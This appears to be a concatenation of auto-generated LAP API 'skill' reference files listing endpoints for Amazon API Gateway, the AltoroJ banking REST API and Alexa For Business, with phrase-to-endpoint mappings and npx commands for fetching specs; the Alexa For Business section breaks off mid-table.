### restapis?mode=import
| Method | Path | Description |
|--------|------|-------------|
| POST | /restapis?mode=import | A feature of the API Gateway control service for creating a new API from an external API definition file. |
## Common Questions
Match user requests to endpoints in references/api-spec.lap. Key patterns:
- "Create a apikey?" -> POST /apikeys
- "Create a authorizer?" -> POST /restapis/{restapi_id}/authorizers
- "Create a basepathmapping?" -> POST /domainnames/{domain_name}/basepathmappings
- "Create a deployment?" -> POST /restapis/{restapi_id}/deployments
- "Create a part?" -> POST /restapis/{restapi_id}/documentation/parts
- "Create a version?" -> POST /restapis/{restapi_id}/documentation/versions
- "Create a domainname?" -> POST /domainnames
- "Create a model?" -> POST /restapis/{restapi_id}/models
- "Create a requestvalidator?" -> POST /restapis/{restapi_id}/requestvalidators
- "Create a restapis?" -> POST /restapis
- "Create a stage?" -> POST /restapis/{restapi_id}/stages
- "Create a usageplan?" -> POST /usageplans
- "Create a key?" -> POST /usageplans/{usageplanId}/keys
- "Create a vpclink?" -> POST /vpclinks
- "Delete a apikey?" -> DELETE /apikeys/{api_Key}
- "Delete a authorizer?" -> DELETE /restapis/{restapi_id}/authorizers/{authorizer_id}
- "Delete a basepathmapping?" -> DELETE /domainnames/{domain_name}/basepathmappings/{base_path}
- "Delete a clientcertificate?" -> DELETE /clientcertificates/{clientcertificate_id}
- "Delete a deployment?" -> DELETE /restapis/{restapi_id}/deployments/{deployment_id}
- "Delete a part?" -> DELETE /restapis/{restapi_id}/documentation/parts/{part_id}
- "Delete a version?" -> DELETE /restapis/{restapi_id}/documentation/versions/{doc_version}
- "Delete a domainname?" -> DELETE /domainnames/{domain_name}
- "Delete a gatewayrespons?" -> DELETE /restapis/{restapi_id}/gatewayresponses/{response_type}
- "Delete a response?" -> DELETE /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code}
- "Delete a method?" -> DELETE /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}
- "Delete a response?" -> DELETE /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code}
- "Delete a model?" -> DELETE /restapis/{restapi_id}/models/{model_name}
- "Delete a requestvalidator?" -> DELETE /restapis/{restapi_id}/requestvalidators/{requestvalidator_id}
- "Delete a resource?" -> DELETE /restapis/{restapi_id}/resources/{resource_id}
- "Delete a restapis?" -> DELETE /restapis/{restapi_id}
- "Delete a stage?" -> DELETE /restapis/{restapi_id}/stages/{stage_name}
- "Delete a usageplan?" -> DELETE /usageplans/{usageplanId}
- "Delete a key?" -> DELETE /usageplans/{usageplanId}/keys/{keyId}
- "Delete a vpclink?" -> DELETE /vpclinks/{vpclink_id}
- "Create a clientcertificate?" -> POST /clientcertificates
- "List all account?" -> GET /account
- "Get apikey details?" -> GET /apikeys/{api_Key}
- "List all apikeys?" -> GET /apikeys
- "Get authorizer details?" -> GET /restapis/{restapi_id}/authorizers/{authorizer_id}
- "List all authorizers?" -> GET /restapis/{restapi_id}/authorizers
- "Get basepathmapping details?" -> GET /domainnames/{domain_name}/basepathmappings/{base_path}
- "List all basepathmappings?" -> GET /domainnames/{domain_name}/basepathmappings
- "Get clientcertificate details?" -> GET /clientcertificates/{clientcertificate_id}
- "List all clientcertificates?" -> GET /clientcertificates
- "Get deployment details?" -> GET /restapis/{restapi_id}/deployments/{deployment_id}
- "List all deployments?" -> GET /restapis/{restapi_id}/deployments
- "Get part details?" -> GET /restapis/{restapi_id}/documentation/parts/{part_id}
- "List all parts?" -> GET /restapis/{restapi_id}/documentation/parts
- "Get version details?" -> GET /restapis/{restapi_id}/documentation/versions/{doc_version}
- "List all versions?" -> GET /restapis/{restapi_id}/documentation/versions
- "Get domainname details?" -> GET /domainnames/{domain_name}
- "List all domainnames?" -> GET /domainnames
- "Get export details?" -> GET /restapis/{restapi_id}/stages/{stage_name}/exports/{export_type}
- "Get gatewayrespons details?" -> GET /restapis/{restapi_id}/gatewayresponses/{response_type}
- "List all gatewayresponses?" -> GET /restapis/{restapi_id}/gatewayresponses
- "List all integration?" -> GET /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration
- "Get response details?" -> GET /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code}
- "Get method details?" -> GET /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}
- "Get response details?" -> GET /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code}
- "Get model details?" -> GET /restapis/{restapi_id}/models/{model_name}
- "List all default_template?" -> GET /restapis/{restapi_id}/models/{model_name}/default_template
- "List all models?" -> GET /restapis/{restapi_id}/models
- "Get requestvalidator details?" -> GET /restapis/{restapi_id}/requestvalidators/{requestvalidator_id}
- "List all requestvalidators?" -> GET /restapis/{restapi_id}/requestvalidators
- "Get resource details?" -> GET /restapis/{restapi_id}/resources/{resource_id}
- "List all resources?" -> GET /restapis/{restapi_id}/resources
- "Get restapis details?" -> GET /restapis/{restapi_id}
- "List all restapis?" -> GET /restapis
- "Get sdk details?" -> GET /restapis/{restapi_id}/stages/{stage_name}/sdks/{sdk_type}
- "Get sdktype details?" -> GET /sdktypes/{sdktype_id}
- "List all sdktypes?" -> GET /sdktypes
- "Get stage details?" -> GET /restapis/{restapi_id}/stages/{stage_name}
- "List all stages?" -> GET /restapis/{restapi_id}/stages
- "Get tag details?" -> GET /tags/{resource_arn}
- "List all usage?" -> GET /usageplans/{usageplanId}/usage
- "Get usageplan details?" -> GET /usageplans/{usageplanId}
- "Get key details?" -> GET /usageplans/{usageplanId}/keys/{keyId}
- "List all keys?" -> GET /usageplans/{usageplanId}/keys
- "List all usageplans?" -> GET /usageplans
- "Get vpclink details?" -> GET /vpclinks/{vpclink_id}
- "List all vpclinks?" -> GET /vpclinks
- "Create a apikeys?mode=import?" -> POST /apikeys?mode=import
- "Create a restapis?mode=import?" -> POST /restapis?mode=import
- "Update a gatewayrespons?" -> PUT /restapis/{restapi_id}/gatewayresponses/{response_type}
- "Update a response?" -> PUT /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code}
- "Update a method?" -> PUT /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}
- "Update a response?" -> PUT /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code}
- "Update a restapis?" -> PUT /restapis/{restapi_id}
- "Update a tag?" -> PUT /tags/{resource_arn}
- "Delete a tag?" -> DELETE /tags/{resource_arn}
- "Partially update a apikey?" -> PATCH /apikeys/{api_Key}
- "Partially update a authorizer?" -> PATCH /restapis/{restapi_id}/authorizers/{authorizer_id}
- "Partially update a basepathmapping?" -> PATCH /domainnames/{domain_name}/basepathmappings/{base_path}
- "Partially update a clientcertificate?" -> PATCH /clientcertificates/{clientcertificate_id}
- "Partially update a deployment?" -> PATCH /restapis/{restapi_id}/deployments/{deployment_id}
- "Partially update a part?" -> PATCH /restapis/{restapi_id}/documentation/parts/{part_id}
- "Partially update a version?" -> PATCH /restapis/{restapi_id}/documentation/versions/{doc_version}
- "Partially update a domainname?" -> PATCH /domainnames/{domain_name}
- "Partially update a gatewayrespons?" -> PATCH /restapis/{restapi_id}/gatewayresponses/{response_type}
- "Partially update a response?" -> PATCH /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/integration/responses/{status_code}
- "Partially update a method?" -> PATCH /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}
- "Partially update a response?" -> PATCH /restapis/{restapi_id}/resources/{resource_id}/methods/{http_method}/responses/{status_code}
- "Partially update a model?" -> PATCH /restapis/{restapi_id}/models/{model_name}
- "Partially update a requestvalidator?" -> PATCH /restapis/{restapi_id}/requestvalidators/{requestvalidator_id}
- "Partially update a resource?" -> PATCH /restapis/{restapi_id}/resources/{resource_id}
- "Partially update a restapis?" -> PATCH /restapis/{restapi_id}
- "Partially update a stage?" -> PATCH /restapis/{restapi_id}/stages/{stage_name}
- "Partially update a usageplan?" -> PATCH /usageplans/{usageplanId}
- "Partially update a vpclink?" -> PATCH /vpclinks/{vpclink_id}
- "How to authenticate?" -> See Auth section
## Response Tips
- Check response schemas in references/api-spec.lap for field details
- List endpoints may support pagination; check for limit, offset, or cursor params
- Create/update endpoints typically return the created/updated object
## CLI
```bash
# Update this spec to the latest version
npx @lap-platform/lapsh get amazon-api-gateway -o references/api-spec.lap
# Search for related APIs
npx @lap-platform/lapsh search amazon-api-gateway
```
## References
- Full spec: See references/api-spec.lap for complete endpoint details, parameter tables, and response schemas
> Generated from the official API spec by [LAP](https://lap.sh)
AltoroJ REST API skill. Use when working with AltoroJ REST for login, account, transfer. Covers 12 endpoints.
---
name: lap-altoroj-rest-api
description: "AltoroJ REST API skill. Use when working with AltoroJ REST for login, account, transfer. Covers 12 endpoints."
version: 1.0.0
generator: lapsh
metadata:
openclaw:
requires:
env:
- ALTOROJ_REST_API_KEY
---
# AltoroJ REST API
API version: 1.0.2
## Auth
ApiKey Authorization in header
## Base URL
Not specified.
## Setup
1. Set your API key in the appropriate header
2. GET /login -- verify access
3. POST /login -- create first login
## Endpoints
12 endpoints across 6 groups. See references/api-spec.lap for full details.
### login
| Method | Path | Description |
|--------|------|-------------|
| GET | /login | Check if any user is logged in |
| POST | /login | Login method |
### account
| Method | Path | Description |
|--------|------|-------------|
| GET | /account | Returns a list of all the accounts owned by the user |
| GET | /account/{accountNo} | Returns details about a specific account |
| GET | /account/{accountNo}/transactions | Returns the last 10 transactions attached to an account |
| POST | /account/{accountNo}/transactions | Return transactions between 2 specific dates |
### transfer
| Method | Path | Description |
|--------|------|-------------|
| POST | /transfer | Transfer money between two accounts |
### feedback
| Method | Path | Description |
|--------|------|-------------|
| POST | /feedback/submit | Submit feedback for the bank |
| GET | /feedback/{feedbackId} | Retrieve feedback |
### admin
| Method | Path | Description |
|--------|------|-------------|
| POST | /admin/addUser | Add new user |
| POST | /admin/changePassword | Change user password |
### logout
| Method | Path | Description |
|--------|------|-------------|
| GET | /logout | Logout from the bank |
## Common Questions
Match user requests to endpoints in references/api-spec.lap. Key patterns:
- "List all login?" -> GET /login
- "Create a login?" -> POST /login
- "List all account?" -> GET /account
- "Get account details?" -> GET /account/{accountNo}
- "List all transactions?" -> GET /account/{accountNo}/transactions
- "Create a transaction?" -> POST /account/{accountNo}/transactions
- "Create a transfer?" -> POST /transfer
- "Create a submit?" -> POST /feedback/submit
- "Get feedback details?" -> GET /feedback/{feedbackId}
- "Create a addUser?" -> POST /admin/addUser
- "Create a changePassword?" -> POST /admin/changePassword
- "List all logout?" -> GET /logout
- "How to authenticate?" -> See Auth section
## Response Tips
- Check response schemas in references/api-spec.lap for field details
- Create/update endpoints typically return the created/updated object
## CLI
```bash
# Update this spec to the latest version
npx @lap-platform/lapsh get altoroj-rest-api -o references/api-spec.lap
# Search for related APIs
npx @lap-platform/lapsh search altoroj-rest-api
```
## References
- Full spec: See references/api-spec.lap for complete endpoint details, parameter tables, and response schemas
> Generated from the official API spec by [LAP](https://lap.sh)
Alexa For Business API skill. Use when working with Alexa For Business for #X-Amz-Target=AlexaForBusiness.ApproveSkill, #X-Amz-Target=AlexaForBusiness.Associ...
---
name: lap-alexa-for-business
description: "Alexa For Business API skill. Use when working with Alexa For Business for #X-Amz-Target=AlexaForBusiness.ApproveSkill, #X-Amz-Target=AlexaForBusiness.AssociateContactWithAddressBook, #X-Amz-Target=AlexaForBusiness.AssociateDeviceWithNetworkProfile. Covers 93 endpoints."
version: 1.0.0
generator: lapsh
metadata:
openclaw:
requires:
env:
- ALEXA_FOR_BUSINESS_API_KEY
---
# Alexa For Business
API version: 2017-11-09
## Auth
ApiKey Authorization in header
## Base URL
http://a4b.{region}.amazonaws.com
## Setup
1. Set your API key in the appropriate header
3. POST /#X-Amz-Target=AlexaForBusiness.ApproveSkill -- create first #X-Amz-Target=AlexaForBusiness.ApproveSkill
## Endpoints
93 endpoints across 93 groups. See references/api-spec.lap for full details.
### #X-Amz-Target=AlexaForBusiness.ApproveSkill
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ApproveSkill | Associates a skill with the organization under the customer's AWS account. If a skill is private, the user implicitly accepts access to this skill during enablement. |
### #X-Amz-Target=AlexaForBusiness.AssociateContactWithAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateContactWithAddressBook | Associates a contact with a given address book. |
### #X-Amz-Target=AlexaForBusiness.AssociateDeviceWithNetworkProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateDeviceWithNetworkProfile | Associates a device with the specified network profile. |
### #X-Amz-Target=AlexaForBusiness.AssociateDeviceWithRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateDeviceWithRoom | Associates a device with a given room. This applies all the settings from the room profile to the device, and all the skills in any skill groups added to that room. This operation requires the device to be online, or else a manual sync is required. |
### #X-Amz-Target=AlexaForBusiness.AssociateSkillGroupWithRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateSkillGroupWithRoom | Associates a skill group with a given room. This enables all skills in the associated skill group on all devices in the room. |
### #X-Amz-Target=AlexaForBusiness.AssociateSkillWithSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateSkillWithSkillGroup | Associates a skill with a skill group. |
### #X-Amz-Target=AlexaForBusiness.AssociateSkillWithUsers
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.AssociateSkillWithUsers | Makes a private skill available for enrolled users to enable on their devices. |
### #X-Amz-Target=AlexaForBusiness.CreateAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateAddressBook | Creates an address book with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateBusinessReportSchedule
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateBusinessReportSchedule | Creates a recurring schedule for usage reports to deliver to the specified S3 location with a specified daily or weekly interval. |
### #X-Amz-Target=AlexaForBusiness.CreateConferenceProvider
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateConferenceProvider | Adds a new conference provider under the user's AWS account. |
### #X-Amz-Target=AlexaForBusiness.CreateContact
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateContact | Creates a contact with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateGatewayGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateGatewayGroup | Creates a gateway group with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateNetworkProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateNetworkProfile | Creates a network profile with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateProfile | Creates a new room profile with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateRoom | Creates a room with the specified details. |
### #X-Amz-Target=AlexaForBusiness.CreateSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateSkillGroup | Creates a skill group with a specified name and description. |
### #X-Amz-Target=AlexaForBusiness.CreateUser
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.CreateUser | Creates a user. |
### #X-Amz-Target=AlexaForBusiness.DeleteAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteAddressBook | Deletes an address book by the address book ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteBusinessReportSchedule
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteBusinessReportSchedule | Deletes the recurring report delivery schedule with the specified schedule ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteConferenceProvider
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteConferenceProvider | Deletes a conference provider. |
### #X-Amz-Target=AlexaForBusiness.DeleteContact
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteContact | Deletes a contact by the contact ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteDevice
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteDevice | Removes a device from Alexa For Business. |
### #X-Amz-Target=AlexaForBusiness.DeleteDeviceUsageData
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteDeviceUsageData | When this action is called for a specified shared device, it allows authorized users to delete the device's entire previous history of voice input data and associated response data. This action can be called once every 24 hours for a specific shared device. |
### #X-Amz-Target=AlexaForBusiness.DeleteGatewayGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteGatewayGroup | Deletes a gateway group. |
### #X-Amz-Target=AlexaForBusiness.DeleteNetworkProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteNetworkProfile | Deletes a network profile by the network profile ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteProfile | Deletes a room profile by the profile ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteRoom | Deletes a room by the room ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteRoomSkillParameter
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteRoomSkillParameter | Deletes room skill parameter details by room, skill, and parameter key ID. |
### #X-Amz-Target=AlexaForBusiness.DeleteSkillAuthorization
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteSkillAuthorization | Unlinks a third-party account from a skill. |
### #X-Amz-Target=AlexaForBusiness.DeleteSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteSkillGroup | Deletes a skill group by skill group ARN. |
### #X-Amz-Target=AlexaForBusiness.DeleteUser
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DeleteUser | Deletes a specified user by user ARN and enrollment ARN. |
### #X-Amz-Target=AlexaForBusiness.DisassociateContactFromAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DisassociateContactFromAddressBook | Disassociates a contact from a given address book. |
### #X-Amz-Target=AlexaForBusiness.DisassociateDeviceFromRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DisassociateDeviceFromRoom | Disassociates a device from its current room. The device continues to be connected to the Wi-Fi network and is still registered to the account. The device settings and skills are removed from the room. |
### #X-Amz-Target=AlexaForBusiness.DisassociateSkillFromSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DisassociateSkillFromSkillGroup | Disassociates a skill from a skill group. |
### #X-Amz-Target=AlexaForBusiness.DisassociateSkillFromUsers
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DisassociateSkillFromUsers | Makes a private skill unavailable for enrolled users and prevents them from enabling it on their devices. |
### #X-Amz-Target=AlexaForBusiness.DisassociateSkillGroupFromRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.DisassociateSkillGroupFromRoom | Disassociates a skill group from a specified room. This disables all skills in the skill group on all devices in the room. |
### #X-Amz-Target=AlexaForBusiness.ForgetSmartHomeAppliances
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ForgetSmartHomeAppliances | Forgets smart home appliances associated to a room. |
### #X-Amz-Target=AlexaForBusiness.GetAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetAddressBook | Gets address the book details by the address book ARN. |
### #X-Amz-Target=AlexaForBusiness.GetConferencePreference
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetConferencePreference | Retrieves the existing conference preferences. |
### #X-Amz-Target=AlexaForBusiness.GetConferenceProvider
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetConferenceProvider | Gets details about a specific conference provider. |
### #X-Amz-Target=AlexaForBusiness.GetContact
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetContact | Gets the contact details by the contact ARN. |
### #X-Amz-Target=AlexaForBusiness.GetDevice
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetDevice | Gets the details of a device by device ARN. |
### #X-Amz-Target=AlexaForBusiness.GetGateway
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetGateway | Retrieves the details of a gateway. |
### #X-Amz-Target=AlexaForBusiness.GetGatewayGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetGatewayGroup | Retrieves the details of a gateway group. |
### #X-Amz-Target=AlexaForBusiness.GetInvitationConfiguration
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetInvitationConfiguration | Retrieves the configured values for the user enrollment invitation email template. |
### #X-Amz-Target=AlexaForBusiness.GetNetworkProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetNetworkProfile | Gets the network profile details by the network profile ARN. |
### #X-Amz-Target=AlexaForBusiness.GetProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetProfile | Gets the details of a room profile by profile ARN. |
### #X-Amz-Target=AlexaForBusiness.GetRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetRoom | Gets room details by room ARN. |
### #X-Amz-Target=AlexaForBusiness.GetRoomSkillParameter
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetRoomSkillParameter | Gets room skill parameter details by room, skill, and parameter key ARN. |
### #X-Amz-Target=AlexaForBusiness.GetSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.GetSkillGroup | Gets skill group details by skill group ARN. |
### #X-Amz-Target=AlexaForBusiness.ListBusinessReportSchedules
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListBusinessReportSchedules | Lists the details of the schedules that a user configured. A download URL of the report associated with each schedule is returned every time this action is called. A new download URL is returned each time, and is valid for 24 hours. |
### #X-Amz-Target=AlexaForBusiness.ListConferenceProviders
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListConferenceProviders | Lists conference providers under a specific AWS account. |
### #X-Amz-Target=AlexaForBusiness.ListDeviceEvents
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListDeviceEvents | Lists the device event history, including device connection status, for up to 30 days. |
### #X-Amz-Target=AlexaForBusiness.ListGatewayGroups
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListGatewayGroups | Retrieves a list of gateway group summaries. Use GetGatewayGroup to retrieve details of a specific gateway group. |
### #X-Amz-Target=AlexaForBusiness.ListGateways
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListGateways | Retrieves a list of gateway summaries. Use GetGateway to retrieve details of a specific gateway. An optional gateway group ARN can be provided to only retrieve gateway summaries of gateways that are associated with that gateway group ARN. |
### #X-Amz-Target=AlexaForBusiness.ListSkills
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListSkills | Lists all enabled skills in a specific skill group. |
### #X-Amz-Target=AlexaForBusiness.ListSkillsStoreCategories
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListSkillsStoreCategories | Lists all categories in the Alexa skill store. |
### #X-Amz-Target=AlexaForBusiness.ListSkillsStoreSkillsByCategory
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListSkillsStoreSkillsByCategory | Lists all skills in the Alexa skill store by category. |
### #X-Amz-Target=AlexaForBusiness.ListSmartHomeAppliances
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListSmartHomeAppliances | Lists all of the smart home appliances associated with a room. |
### #X-Amz-Target=AlexaForBusiness.ListTags
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ListTags | Lists all tags for the specified resource. |
### #X-Amz-Target=AlexaForBusiness.PutConferencePreference
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.PutConferencePreference | Sets the conference preferences on a specific conference provider at the account level. |
### #X-Amz-Target=AlexaForBusiness.PutInvitationConfiguration
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.PutInvitationConfiguration | Configures the email template for the user enrollment invitation with the specified attributes. |
### #X-Amz-Target=AlexaForBusiness.PutRoomSkillParameter
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.PutRoomSkillParameter | Updates room skill parameter details by room, skill, and parameter key ID. Not all skills have a room skill parameter. |
### #X-Amz-Target=AlexaForBusiness.PutSkillAuthorization
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.PutSkillAuthorization | Links a user's account to a third-party skill provider. If this API operation is called by an assumed IAM role, the skill being linked must be a private skill. Also, the skill must be owned by the AWS account that assumed the IAM role. |
### #X-Amz-Target=AlexaForBusiness.RegisterAVSDevice
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.RegisterAVSDevice | Registers an Alexa-enabled device built by an Original Equipment Manufacturer (OEM) using Alexa Voice Service (AVS). |
### #X-Amz-Target=AlexaForBusiness.RejectSkill
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.RejectSkill | Disassociates a skill from the organization under a user's AWS account. If the skill is a private skill, it moves to an AcceptStatus of PENDING. Any private or public skill that is rejected can be added later by calling the ApproveSkill API. |
### #X-Amz-Target=AlexaForBusiness.ResolveRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.ResolveRoom | Determines the details for the room from which a skill request was invoked. This operation is used by skill developers. To query ResolveRoom from an Alexa skill, the skill ID needs to be authorized. When the skill is using an AWS Lambda function, the skill is automatically authorized when you publish your skill as a private skill to your AWS account. Skills that are hosted using a custom web service must be manually authorized. To get your skill authorized, contact AWS Support with your AWS account ID that queries the ResolveRoom API and skill ID. |
### #X-Amz-Target=AlexaForBusiness.RevokeInvitation
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.RevokeInvitation | Revokes an invitation and invalidates the enrollment URL. |
### #X-Amz-Target=AlexaForBusiness.SearchAddressBooks
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchAddressBooks | Searches address books and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchContacts
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchContacts | Searches contacts and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchDevices
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchDevices | Searches devices and lists the ones that meet a set of filter criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchNetworkProfiles
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchNetworkProfiles | Searches network profiles and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchProfiles
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchProfiles | Searches room profiles and lists the ones that meet a set of filter criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchRooms
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchRooms | Searches rooms and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchSkillGroups
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchSkillGroups | Searches skill groups and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SearchUsers
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SearchUsers | Searches users and lists the ones that meet a set of filter and sort criteria. |
### #X-Amz-Target=AlexaForBusiness.SendAnnouncement
| Method | Path | Description |
|--------|------|-------------|
